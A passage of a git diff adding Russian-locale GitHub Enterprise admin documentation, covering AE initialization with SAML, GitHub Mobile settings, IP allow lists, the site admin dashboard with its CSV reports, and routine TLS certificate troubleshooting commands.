note %} + +**Примечания** + +- Если срок действия первоначального пароля для {% data variables.product.prodname_ghe_managed %} истекает до завершения инициализации, вы можете в любое время запросить сброс пароля из сообщения электронной почты с приглашением. + +- Храните исходные имя пользователя и пароль для {% data variables.product.prodname_ghe_managed %} безопасным образом в диспетчере паролей. {% data reusables.saml.contact-support-if-your-idp-is-unavailable %} + +{% endnote %} + +Во время инициализации владелец организации присвоит ей имя, настроит единый вход SAML, создаст политики для всех отделов организации и настроит контактные данные службы поддержки для пользователей. + +## Предварительные требования + +Вы получите приглашение по электронной почте от {% data variables.product.company_short %}, чтобы можно было начать инициализацию. Перед настройкой {% data variables.product.prodname_ghe_managed %} ознакомьтесь с приведенными ниже предварительными требованиями. + + +Чтобы инициализировать {% data variables.location.product_location %}, необходимо иметь поставщик удостоверений SAML (IdP). {% data reusables.saml.ae-uses-saml-sso %} Чтобы подключить поставщик удостоверений к организации во время инициализации, необходимо знать URL-адрес идентификатора сущности (единого входа) IdP, URL-адрес идентификатора издателя и открытый сертификат для подписи (в кодировке Base64). Дополнительные сведения см. в разделе [Сведения об управлении удостоверениями и доступом для предприятия](/admin/authentication/about-identity-and-access-management-for-your-enterprise). + +{% note %} + +**Примечание**. {% data reusables.saml.create-a-machine-user %} + +{% endnote %} + +## Вход в организацию и присвоение ей имени + +1. Следуйте инструкциям в приветственном сообщении электронной почты, чтобы перейти в организацию. +2. Введите учетные данные в поле "Изменить пароль", а затем нажмите кнопку **Изменить пароль**. +3. В поле "Как бы вы хотели назвать вашу учетную запись организации?" введите имя организации и нажмите кнопку **Сохранить и продолжить**. + ![Кнопка "Сохранить и продолжить" для присвоения имени организации](/assets/images/enterprise/configuration/ae-enterprise-configuration.png) + +## Подключение поставщика удостоверений к организации + +Чтобы настроить проверку подлинности для {% data variables.product.product_name %}, необходимо предоставить {% data variables.product.product_name %} сведения о поставщике удостоверений SAML. {% data variables.product.company_short %} рекомендует использовать Azure AD в качестве поставщика удостоверений. Дополнительные сведения см. в разделе [Настройка проверки подлинности и подготовки с использованием поставщика удостоверений](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider). + +1. Справа в разделе "Настройка поставщика удостоверений" нажмите кнопку **Настроить**. + ![Кнопка "Настроить" для настройки поставщика удостоверений](/assets/images/enterprise/configuration/ae-idp-configure.png) +1. В поле "URL-адрес для входа" скопируйте и вставьте URL-адрес поставщика удостоверений SAML. + ![Текстовое поле для URL-адреса входа поставщика удостоверений SAML](/assets/images/enterprise/configuration/ae-idp-sign-on-url.png) +1. В поле "Издатель" скопируйте и вставьте URL-адрес издателя для поставщика удостоверений SAML. + ![Текстовое поле для URL-адреса издателя поставщика удостоверений SAML](/assets/images/enterprise/configuration/ae-idp-issuer-url.png) +1. В поле "Общедоступный сертификат" скопируйте и вставьте открытый сертификат поставщика удостоверений SAML. + ![Текстовое поле для открытого сертификата поставщика удостоверений SAML](/assets/images/enterprise/configuration/ae-idp-public-certificate.png) +1. Нажмите кнопку **Проверить конфигурацию SAML**, чтобы убедиться в правильности введенных сведений. + ![Кнопка "Проверить конфигурацию SAML"](/assets/images/enterprise/configuration/ae-test-saml-configuration.png) +1. Выберите команду **Сохранить**. + ![Кнопка "Сохранить" для конфигурации поставщика удостоверений](/assets/images/enterprise/configuration/ae-save.png) +1. {% data reusables.saml.assert-the-administrator-attribute %} + +## Настройка политик организации + +Настраивая политики, вы устанавливаете ограничения на управление репозиториями и отделами вашей организации. Их можно перенастроить после инициализации. + +1. Справа в разделе "Настройка политик организации" нажмите кнопку **Настроить**. + ![Кнопка "Настроить" для настройки политик](/assets/images/enterprise/configuration/ae-policies-configure.png) +2. В разделе "Разрешения репозиториев по умолчанию" в раскрывающемся меню выберите уровень разрешений по умолчанию для репозиториев организации. Если у пользователя есть несколько путей доступа к организации (индивидуальный, через команду или в качестве сотрудника организации), наивысший из имеющихся уровней разрешений переопределяет все более низкие уровни. Если необходимо разрешить отделам организации задавать собственные разрешения по умолчанию на доступ к репозиториям, выберите пункт **Без политики**. + ![Раскрывающееся меню для выбора разрешений по умолчанию на доступ к репозиториям](/assets/images/enterprise/configuration/ae-repository-permissions-menu.png) +3. В разделе "Создание репозитория" укажите, следует ли разрешить участникам создавать репозитории. Если необходимо разрешить отделам организации задавать разрешения, выберите пункт **Без политики**. + ![Кнопка "Участники могут создавать репозитории" для настройки политик организации](/assets/images/enterprise/configuration/ae-repository-creation-permissions.png) +4. В разделе "Создание вилок репозиториев" выберите, следует ли разрешить создание вилок частных и внутренних репозиториев. Если необходимо разрешить отделам организации задавать разрешения, выберите пункт **Без политики**. + ![Раскрывающееся меню для выбора разрешений на создание вилок репозиториев](/assets/images/enterprise/configuration/ae-repository-forking-menu.png) +5. В разделе "Приглашения в репозитории" укажите, могут ли сотрудники или владельцы организации приглашать участников совместной работы в репозитории. Если необходимо разрешить отделам организации задавать разрешения, выберите пункт **Без политики**. + ![Раскрывающееся меню для выбора разрешений на приглашение в репозитории](/assets/images/enterprise/configuration/ae-repository-invitations-menu.png) +6. В разделе "Видимость репозиториев по умолчанию" в раскрывающемся меню выберите видимость по умолчанию для новых репозиториев. + ![Раскрывающееся меню для выбора видимости репозиториев по умолчанию](/assets/images/enterprise/configuration/ae-repository-visibility-menu.png) +7. В разделе "Пользователи могут создавать отделы" в раскрывающемся меню выберите, следует ли разрешить сотрудникам организации создавать отделы. + ![Раскрывающееся меню для выбора разрешений на создание отделов](/assets/images/enterprise/configuration/ae-organization-creation-permissions-menu.png) +8. В разделе "Принудительная отправка" в раскрывающемся меню выберите, следует ли разрешать или запретить принудительную отправку. + ![Раскрывающееся меню для настройки принудительной отправки](/assets/images/enterprise/configuration/ae-force-pushes-configuration-menu.png) +9. В разделе "Доступ к GIT по SSH" в раскрывающемся меню выберите, следует ли включить доступ к GIT по протоколу SSH для всех репозиториев в организации. + ![Раскрывающееся меню для настройки доступа к GIT по SSH](/assets/images/enterprise/configuration/ae-git-ssh-access-menu.png) +10. Нажмите кнопку **Сохранить**. + ![Кнопка "Сохранить" для конфигурации политик организации](/assets/images/enterprise/configuration/ae-save.png) +11. Если необходимо сбросить все выбранные параметры, нажмите кнопку "Вернуться к политикам по умолчанию". + ![Ссылка для сброса всех политик по умолчанию](/assets/images/enterprise/configuration/ae-reset-default-options.png) + +## Настройка контактных данных внутренней службы поддержки + +Вы можете настроить способ, которым пользователи будут обращаться во внутреннюю группу поддержки. Его можно перенастроить после инициализации. + +1. Справа в разделе "Контактные данные внутренней службы поддержки" нажмите кнопку **Настроить**. + ![Кнопка "Настроить" для настройки контактных данных внутренней службы поддержки](/assets/images/enterprise/configuration/ae-support-configure.png) +2. В разделе "Контактные данные внутренней службы поддержки" выберите способ обращения в службу поддержки для пользователей организации: по URL-адресу или адресу электронной почты. Затем введите контактные данные службы поддержки. + ![Текстовое поле для контактного URL-адреса внутренней службы поддержки](/assets/images/enterprise/configuration/ae-support-link-url.png) +3. Выберите команду **Сохранить**. + ![Кнопка "Сохранить" для настроенных контактных данных службы поддержки организации](/assets/images/enterprise/configuration/ae-save.png) + +## Настройка параметров электронной почты + +После инициализации можно перенастроить любые из эти параметров. Дополнительные сведения см. в разделе [Настройка электронной почты для уведомлений](/admin/configuration/configuring-email-for-notifications). + +1. Справа в разделе "Настройка параметров электронной почты" нажмите кнопку **Настроить**. + ![Кнопка "Настроить" для параметров электронной почты](/assets/images/enterprise/configuration/ae-email-configure.png) +2. Установите флажок **Включить электронную почту**. В результате будет включена как исходящая, так и входящая электронная почта, однако для работы входящей электронной почты необходимо также настроить параметры DNS. Дополнительные сведения см. в разделе [Настройка параметров DNS и брандмауэра для разрешения входящих сообщений электронной почты](/admin/configuration/configuring-email-for-notifications#configuring-dns-and-firewall-settings-to-allow-incoming-emails). + ![Флажок "Включить" для параметров электронной почты](/assets/images/enterprise/configuration/ae-enable-email-configure.png) +3. Настройте параметры сервера электронной почты. + - В поле **Адрес сервера** введите адрес SMTP-сервера. + - В поле **Порт** введите порт, используемый SMTP-сервером для отправки электронной почты. + - В поле **Домен** введите доменное имя, которое SMTP-сервер будет отправлять с ответом HELO, если таковой имеется. + - В раскрывающемся списке **Проверка подлинности** выберите тип шифрования, используемый SMTP-сервером. + - В поле **Адрес электронной почты для автоматической рассылки** введите адрес электронной почты, который будет использоваться в полях "От" и "Кому" для всех уведомлений. + +4. Если вы хотите отменить все входящие сообщения электронной почты, поступающие на адрес для автоматической рассылки, установите флажок **Отменить сообщения на адрес электронной почты для автоматической рассылки**. + ![Флажок "Отменить" для настройки параметров электронной почты](/assets/images/enterprise/configuration/ae-discard-email.png) +5. Нажмите **Проверить параметры электронной почты**. + ![Кнопка "Проверить параметры электронной почты" для настройки параметров электронной почты](/assets/images/enterprise/configuration/ae-test-email.png) +6. В поле "Куда отправить тестовое сообщение" введите адрес электронной почты, на который хотите отправить тестовое сообщение, а затем нажмите кнопку **Отправить тестовое сообщение**. + ![Кнопка "Отправить тестовое сообщение" для настройки параметров электронной почты](/assets/images/enterprise/configuration/ae-send-test-email.png) +7. Выберите команду **Сохранить**. + ![Кнопка "Сохранить" для настроенных контактных данных службы поддержки организации](/assets/images/enterprise/configuration/ae-save.png) diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md new file mode 100644 index 000000000000..d28894921490 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md @@ -0,0 +1,40 @@ +--- +title: Managing GitHub Mobile for your enterprise +intro: 'You can decide whether people can use {% data variables.product.prodname_mobile %} to connect to {% data variables.location.product_location %}.' +permissions: 'Enterprise owners can manage {% data variables.product.prodname_mobile %} for a {% data variables.product.product_name %} instance.' +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Mobile +redirect_from: + - /admin/configuration/configuring-your-enterprise/managing-github-for-mobile-for-your-enterprise + - /admin/configuration/managing-github-for-mobile-for-your-enterprise +shortTitle: Manage GitHub Mobile +--- + +## About {% data variables.product.prodname_mobile %} + +{% data variables.product.prodname_mobile %} allows people to triage, collaborate, and manage work on {% data variables.location.product_location %} from a mobile device after successful authentication. {% data reusables.mobile.about-mobile %} For more information, see "[{% data variables.product.prodname_mobile %}](/get-started/using-github/github-mobile)." + +You can allow or disallow people from using {% data variables.product.prodname_mobile %} to authenticate to {% data variables.location.product_location %} and access your instance's data. By default, {% data variables.product.prodname_mobile %} is{% ifversion ghes > 3.3 %} enabled for people who use {% data variables.location.product_location %}.{% else %} not enabled for people who use {% data variables.location.product_location %}. To allow connection to your instance with {% data variables.product.prodname_mobile %}, you must enable the feature for your instance.{% endif %} + +{% ifversion ghes < 3.6 %} +{% note %} + +**Note:** If you upgrade to {% data variables.product.prodname_ghe_server %} 3.4.0 or later and have not previously disabled or enabled {% data variables.product.prodname_mobile %}, {% data variables.product.prodname_mobile %} will be enabled by default. If you previously disabled or enabled {% data variables.product.prodname_mobile %} for your instance, your preference will be preserved upon upgrade. For more information about upgrading your instance, see "[Upgrading {% data variables.product.product_name %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)." + +{% endnote %} +{% endif %} + +## Enabling or disabling {% data variables.product.prodname_mobile %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.type-management-console-password %} +1. In the left sidebar, click **Mobile**. + !["Mobile" in the left sidebar for the {% data variables.product.prodname_ghe_server %} management console](/assets/images/enterprise/management-console/click-mobile.png) +1. Under "GitHub Mobile", select or deselect **Enable GitHub Mobile Apps**. + ![Checkbox for "Enable GitHub Mobile Apps" in the {% data variables.product.prodname_ghe_server %} management console](/assets/images/enterprise/management-console/select-enable-github-mobile-apps.png) +{% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md new file mode 100644 index 000000000000..bfdd817ccae1 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md @@ -0,0 +1,92 @@ +--- +title: Restricting network traffic to your enterprise +shortTitle: Restricting network traffic +intro: You can use an IP allow list to restrict access to your enterprise to connections from specified IP addresses. +versions: + ghae: '*' +type: how_to +topics: + - Access management + - Enterprise + - Fundamentals + - Networking + - Security +redirect_from: + - /admin/configuration/restricting-network-traffic-to-your-enterprise +--- +## About IP allow lists + +By default, authorized users can access your enterprise from any IP address. Enterprise owners can restrict access to assets owned by organizations in an enterprise account by configuring an allow list for specific IP addresses. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %} + +{% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %} + +{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %} + +You can also configure allowed IP addresses for an individual organization. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)." + +By default, Azure network security group (NSG) rules leave all inbound traffic open on ports 22, 80, 443, and 25. Enterprise owners can contact {% data variables.contact.github_support %} to configure access restrictions for your instance. + +For instance-level restrictions using Azure NSGs, contact {% data variables.contact.github_support %} with the IP addresses that should be allowed to access your enterprise instance. Specify address ranges using the standard CIDR (Classless Inter-Domain Routing) format. {% data variables.contact.github_support %} will configure the appropriate firewall rules for your enterprise to restrict network access over HTTP, SSH, HTTPS, and SMTP. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)." + +## Adding an allowed IP address + +{% data reusables.identity-and-permissions.about-adding-ip-allow-list-entries %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +{% data reusables.identity-and-permissions.ip-allow-lists-add-ip %} +{% data reusables.identity-and-permissions.ip-allow-lists-add-description %} +{% data reusables.identity-and-permissions.ip-allow-lists-add-entry %} +{% data reusables.identity-and-permissions.check-ip-address %} + +## Allowing access by {% data variables.product.prodname_github_apps %} + +{% data reusables.identity-and-permissions.ip-allow-lists-githubapps-enterprise %} + +## Enabling allowed IP addresses + +{% data reusables.identity-and-permissions.about-enabling-allowed-ip-addresses %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +1. Under "IP allow list", select **Enable IP allow list**. + ![Checkbox to allow IP addresses](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png) +4. Click **Save**. + +## Editing an allowed IP address + +{% data reusables.identity-and-permissions.about-editing-ip-allow-list-entries %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +{% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %} +{% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %} +{% data reusables.identity-and-permissions.ip-allow-lists-edit-description %} +8. Click **Update**. +{% data reusables.identity-and-permissions.check-ip-address %} + +{% ifversion ip-allow-list-address-check %} +## Checking if an IP address is permitted + +{% data reusables.identity-and-permissions.about-checking-ip-address %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +{% data reusables.identity-and-permissions.check-ip-address-step %} +{% endif %} + +## Deleting an allowed IP address + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +{% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %} +{% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %} + +## Using {% data variables.product.prodname_actions %} with an IP allow list + +{% data reusables.actions.ip-allow-list-self-hosted-runners %} diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md new file mode 100644 index 000000000000..7d3c7e3665a6 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md @@ -0,0 +1,249 @@ +--- +title: Site admin dashboard +intro: '{% data reusables.enterprise_site_admin_settings.about-the-site-admin-dashboard %}' +redirect_from: + - /enterprise/admin/articles/site-admin-dashboard + - /enterprise/admin/installation/site-admin-dashboard + - /enterprise/admin/configuration/site-admin-dashboard + - /admin/configuration/site-admin-dashboard +versions: + ghes: '*' + ghae: '*' +type: reference +topics: + - Enterprise + - Fundamentals +--- +To access the dashboard, in the upper-right corner of any page, click {% octicon "rocket" aria-label="The rocket ship" %}. +![Rocket ship icon for accessing site admin settings](/assets/images/enterprise/site-admin-settings/access-new-settings.png) + +{% ifversion ghes or ghae %} + +## Search + +Refer to this section of the site admin dashboard to search for users and repositories, and to query the [audit log](#audit-log). + +{% else %} + +## License info & search + +Refer to this section of the site admin dashboard to check your current {% data variables.product.prodname_enterprise %} license; to search for users and repositories; and to query the [audit log](#audit-log). + +{% endif %} +{% ifversion ghes %} +## {% data variables.enterprise.management_console %} + +Here you can launch the {% data variables.enterprise.management_console %} to manage virtual appliance settings such as the domain, authentication, and SSL. +{% endif %} +## Explore + +Data for GitHub's [trending page][] is calculated into daily, weekly, and monthly time spans for both repositories and developers. You can see when this data was last cached and queue up new trending calculation jobs from the **Explore** section. + + [trending page]: https://github.com/blog/1585-explore-what-is-trending-on-github + +## Audit log + +{% data variables.product.product_name %} keeps a running log of audited actions that you can query. + +By default, the audit log shows you a list of all audited actions in reverse chronological order. You can filter this list by entering key-value pairs in the **Query** text box and then clicking **Search**, as explained in "[Searching the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise)." + +For more information on audit logging in general, see "[About the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise)." For a full list of audited actions, see "[Audit log events for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)." + +## Reports + +If you need to get information on the users, organizations, and repositories in {% data variables.location.product_location %}, you would ordinarily fetch JSON data through the [GitHub API](/rest). Unfortunately, the API may not provide all of the data that you want and it requires a bit of technical expertise to use. The site admin dashboard offers a **Reports** section as an alternative, making it easy for you to download CSV reports with most of the information that you are likely to need for users, organizations, and repositories. + +Specifically, you can download CSV reports that list + +- all users +- all active users +- all [dormant users](/admin/user-management/managing-dormant-users) +- all users who have been suspended +- all organizations +- all repositories + +You can also access these reports programmatically via standard HTTP authentication with a site admin account. You must use a {% data variables.product.pat_v1 %} with the `site_admin` scope. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." + +For example, here is how you would download the "all users" report using cURL: + +```shell +curl -L -u USERNAME:TOKEN http(s)://HOSTNAME/stafftools/reports/all_users.csv +``` + +To access the other reports programmatically, replace `all_users` with `active_users`, `dormant_users`, `suspended_users`, `all_organizations`, or `all_repositories`. + +{% note %} + +**Note:** The initial `curl` request will return a 202 HTTP response if there are no cached reports available; a report will be generated in the background. You can send a second request to download the report. You can use a password or an OAuth token with the `site_admin` scope in place of a password. + +{% endnote %} + +### User reports + +Key | Description +-----------------:| ------------------------------------------------------------ +`created_at` | When the user account was created (as an ISO 8601 timestamp) +`id` | Account ID for the user or organization +`login` | Account's login name +`email` | Account's primary email address +`role` | Whether the account is an admin or an ordinary user +`suspended?` | Whether the account has been suspended +`last_logged_ip` | Most recent IP address to log into the account +`repos` | Number of repositories owned by the account +`ssh_keys` | Number of SSH keys registered to the account +`org_memberships` | Number of organizations to which the account belongs +`dormant?` | Whether the account is dormant +`last_active` | When the account was last active (as an ISO 8601 timestamp) +`raw_login` | Raw login information (in JSON format) +`2fa_enabled?` | Whether the user has enabled two-factor authentication + +### Organization reports + +Key | Description +--------------:| ------------------------------------ +`id` | Organization ID +`created_at` | When the organization was created +`login` | Organization's login name +`email` | Organization's primary email address +`owners` | Number of organization owners +`members` | Number of organization members +`teams` | Number of organization teams +`repos` | Number of organization repositories +`2fa_required?`| Whether the organization requires two-factor authentication + +### Repository reports + +Key | Description +---------------:| ------------------------------------------------------------ +`created_at` | When the repository was created +`owner_id` | ID of the repository's owner +`owner_type` | Whether the repository is owned by a user or an organization +`owner_name` | Name of the repository's owner +`id` | Repository ID +`name` | Repository name +`visibility` | Whether the repository is public or private +`readable_size` | Repository's size in a human-readable format +`raw_size` | Repository's size as a number +`collaborators` | Number of repository collaborators +`fork?` | Whether the repository is a fork +`deleted?` | Whether the repository has been deleted + +{% ifversion ghes %} +## Indexing + +GitHub's search features are powered by Elasticsearch. This section of the site admin dashboard shows you the current status of your Elasticsearch cluster and provides you with several tools to control search and index behavior. + +For more information about code search, see "[Searching for information on {% data variables.product.prodname_dotcom %}](/search-github)." For more information about Elasticsearch, see the [Elasticsearch website](https://elastic.co). + +{% note %} + +**Note**: In normal use, site administrators do not need to create new indices or schedule repair jobs. For troubleshooting or other support purposes, {% data variables.contact.github_support %} may instruct you to run a repair job. + +{% endnote %} + +### Index management + +{% data variables.product.product_name %} reconciles the state of the search index with data on the instance automatically and regularly. + +- Issues, pull requests, repositories, and users in the database +- Git repositories (source code) on disk + +Your instance uses repair jobs to reconcile the data, and schedules a repair job in the background when the following events occur. + +- A new search index is created. +- Missing data needs to be backfilled. +- Old search data needs to be updated. + +You can create a new index, or you can click on an existing index in the list to manage the index. You can perform the following operations on an index. + +- Make the index searchable. +- Make the index writable. +- Update the index. +- Delete the index +- Reset the index repair state. +- Start a new index repair job. +- Enable or disable index repair jobs. + +A progress bar shows the current status of a repair job across background workers. The bar is the percentage difference of the repair offset with the highest record ID in the database. You can ignore the value shown in the progress bar after a repair job has completed. The progress bar shows the difference between the repair offset and the highest record ID in the database, and will decrease as more repositories are added to {% data variables.location.product_location %} even though those repositories are actually indexed. + +To minimize the effects on I/O performance and reduce the chances of operations timing out, run the repair job during off-peak hours. As the job reconciles the search index with database and Git repository data, one CPU will be used. Monitor your system's load averages and CPU usage with a utility like `top`. If you don't notice any significant increase in resource consumption, it should also be safe to run an index repair job during peak hours. + +Repair jobs use a "repair offset" for parallelization. This is an offset into the database table for the record being reconciled. Multiple background jobs can synchronize work based on this offset. + +### Code search + +This allows you to enable or disable both search and index operations on source code. + +{% endif %} +## Reserved logins + +Certain words are reserved for internal use in {% data variables.location.product_location %}, which means that these words cannot be used as usernames. + +For example, the following words are reserved, among others: + +- `admin` +- `enterprise` +- `login` +- `staff` +- `support` + +For the full list or reserved words, navigate to "Reserved logins" in the site admin dashboard. + +{% ifversion ghas-committers-calculator %} +## {% data variables.product.prodname_advanced_security %} Committers + +You can see the number of active committers that are currently using seats for {% data variables.product.prodname_GH_advanced_security %}, and you can calculate how many additional seats would be used if you enabled {% data variables.product.prodname_GH_advanced_security %} for more organizations and repositories. + +Under "Current active committer count", you can see the number of active committers for repositories with {% data variables.product.prodname_GH_advanced_security %} enabled. This is the number of licensed seats that are currently being used. + +Under "Maximum committers across entire instance", you can see the number of active committers across all the repositories in your enterprise. This is the number of seats that would be used if you enabled {% data variables.product.prodname_GH_advanced_security %} for every repository in your enterprise. + +Under "Calculate Additional Advanced Committers", you can calculate how many more additional seats will be used if you enable {% data variables.product.prodname_GH_advanced_security %} for specific organizations and repositories. Under "Organizations and Repositories", enter or paste a list of organizations and repositories, with one organization or repository per line. + +``` +example-org +octo-org/octo-repo +``` + +The result is the number of additional seats that would be used if you enabled {% data variables.product.prodname_GH_advanced_security %} for those organizations and repositories. + +For more information about billing for {% data variables.product.prodname_advanced_security %}, see "[About billing for {% data variables.product.prodname_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)." +{% endif %} + +## Enterprise overview + +Refer to this section of the site admin dashboard to manage organizations, people, policies, and settings. + +## Repositories + +This is a list of the repositories on {% data variables.location.product_location %}. You can click on a repository name and access functions for administering the repository. + +- [Blocking force pushes to a repository](/enterprise/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/) +- [Configuring {% data variables.large_files.product_name_long %}](/enterprise/admin/guides/installation/configuring-git-large-file-storage/#configuring-git-large-file-storage-for-an-individual-repository) +- [Archiving and unarchiving repositories](/enterprise/admin/guides/user-management/archiving-and-unarchiving-repositories/) + +## All users + +Here you can see all of the users on {% data variables.location.product_location %}, and [initiate an SSH key audit](/enterprise/admin/guides/user-management/auditing-ssh-keys). + +## Site admins + +Here you can see all of the administrators on {% data variables.location.product_location %}, and [initiate an SSH key audit](/enterprise/admin/guides/user-management/auditing-ssh-keys). + +## Dormant users +{% ifversion ghes %} +Here you can see and [suspend](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users) all of the inactive users on {% data variables.location.product_location %}. A user account is considered to be inactive ("dormant") when it: +{% endif %} +{% ifversion ghae %} +Here you can see and suspend all of the inactive users on {% data variables.location.product_location %}. A user account is considered to be inactive ("dormant") when it: +{% endif %} + +- Has existed for longer than the dormancy threshold that's set for {% data variables.location.product_location %}. +- Has not generated any activity within that time period. +- Is not a site administrator. + +{% data reusables.enterprise_site_admin_settings.dormancy-threshold %} For more information, see "[Managing dormant users](/enterprise/admin/guides/user-management/managing-dormant-users/#configuring-the-dormancy-threshold)." + +## Suspended users + +Here you can see all of the users who have been suspended on {% data variables.location.product_location %}, and [initiate an SSH key audit](/enterprise/admin/guides/user-management/auditing-ssh-keys). diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/troubleshooting-tls-errors.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/troubleshooting-tls-errors.md new file mode 100644 index 000000000000..eca1544ceada --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/troubleshooting-tls-errors.md @@ -0,0 +1,86 @@ +--- +title: Troubleshooting TLS errors +intro: 'If you run into TLS issues with your appliance, you can take actions to resolve them.' +redirect_from: + - /enterprise/admin/articles/troubleshooting-ssl-errors + - /enterprise/admin/categories/dns-ssl-and-subdomain-configuration + - /enterprise/admin/installation/troubleshooting-ssl-errors + - /enterprise/admin/configuration/troubleshooting-ssl-errors + - /admin/configuration/troubleshooting-ssl-errors + - /admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Errors + - Infrastructure + - Networking + - Security + - Troubleshooting +shortTitle: Troubleshoot TLS errors +--- +## Removing the passphrase from your key file + +If you have a Linux machine with OpenSSL installed, you can remove your passphrase. + +1. Rename your original key file. + ```shell + $ mv yourdomain.key yourdomain.key.orig + ``` +2. Generate a new key without a passphrase. + ```shell + $ openssl rsa -in yourdomain.key.orig -out yourdomain.key + ``` + +You'll be prompted for the key's passphrase when you run this command. + +For more information about OpenSSL, see [OpenSSL's documentation](https://www.openssl.org/docs/). + +## Converting your TLS certificate or key into PEM format + +If you have OpenSSL installed, you can convert your key into PEM format by using the `openssl` command. For example, you can convert a key from DER format into PEM format. + +```shell +$ openssl rsa -in yourdomain.der -inform DER -out yourdomain.key -outform PEM +``` + +Otherwise, you can use the SSL Converter tool to convert your certificate into the PEM format. For more information, see the [SSL Converter tool's documentation](https://www.sslshopper.com/ssl-converter.html). + +## Unresponsive installation after uploading a key + +If {% data variables.location.product_location %} is unresponsive after uploading an TLS key, please [contact {% data variables.product.prodname_enterprise %} Support](https://enterprise.github.com/support) with specific details, including a copy of your TLS certificate. Ensure that your private key **is not** included. + +## Certificate validity errors + +Clients such as web browsers and command-line Git will display an error message if they cannot verify the validity of an TLS certificate. This often occurs with self-signed certificates as well as "chained root" certificates issued from an intermediate root certificate that is not recognized by the client. + +If you are using a certificate signed by a certificate authority (CA), the certificate file that you upload to {% data variables.product.prodname_ghe_server %} must include a certificate chain with that CA's root certificate. To create such a file, concatenate your entire certificate chain (or "certificate bundle") onto the end of your certificate, ensuring that the principal certificate with your hostname comes first. On most systems you can do this with a command similar to: + +```shell +$ cat yourdomain.com.crt bundle-certificates.crt > yourdomain.combined.crt +``` + +You should be able to download a certificate bundle (for example, `bundle-certificates.crt`) from your certificate authority or TLS vendor. + +## Installing self-signed or untrusted certificate authority (CA) root certificates + +If your {% data variables.product.prodname_ghe_server %} appliance interacts with other machines on your network that use a self-signed or untrusted certificate, you will need to import the signing CA's root certificate into the system-wide certificate store in order to access those systems over HTTPS. + +1. Obtain the CA's root certificate from your local certificate authority and ensure it is in PEM format. +2. Copy the file to your {% data variables.product.prodname_ghe_server %} appliance over SSH as the "admin" user on port 122. + ```shell + $ scp -P 122 rootCA.crt admin@HOSTNAME:/home/admin + ``` +3. Connect to the {% data variables.product.prodname_ghe_server %} administrative shell over SSH as the "admin" user on port 122. + ```shell + $ ssh -p 122 admin@HOSTNAME + ``` +4. Import the certificate into the system-wide certificate store. + ```shell + $ ghe-ssl-ca-certificate-install -c rootCA.crt + ``` + +## Updating a TLS certificate + +You can generate a new self-signed certificate or update an existing TLS certificate for {% data variables.location.product_location %} with the `ghe-ssl-certificate-setup` command line utility. For more information, see "[Command-line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-ssl-ca-certificate-setup)." diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md new file mode 100644 index 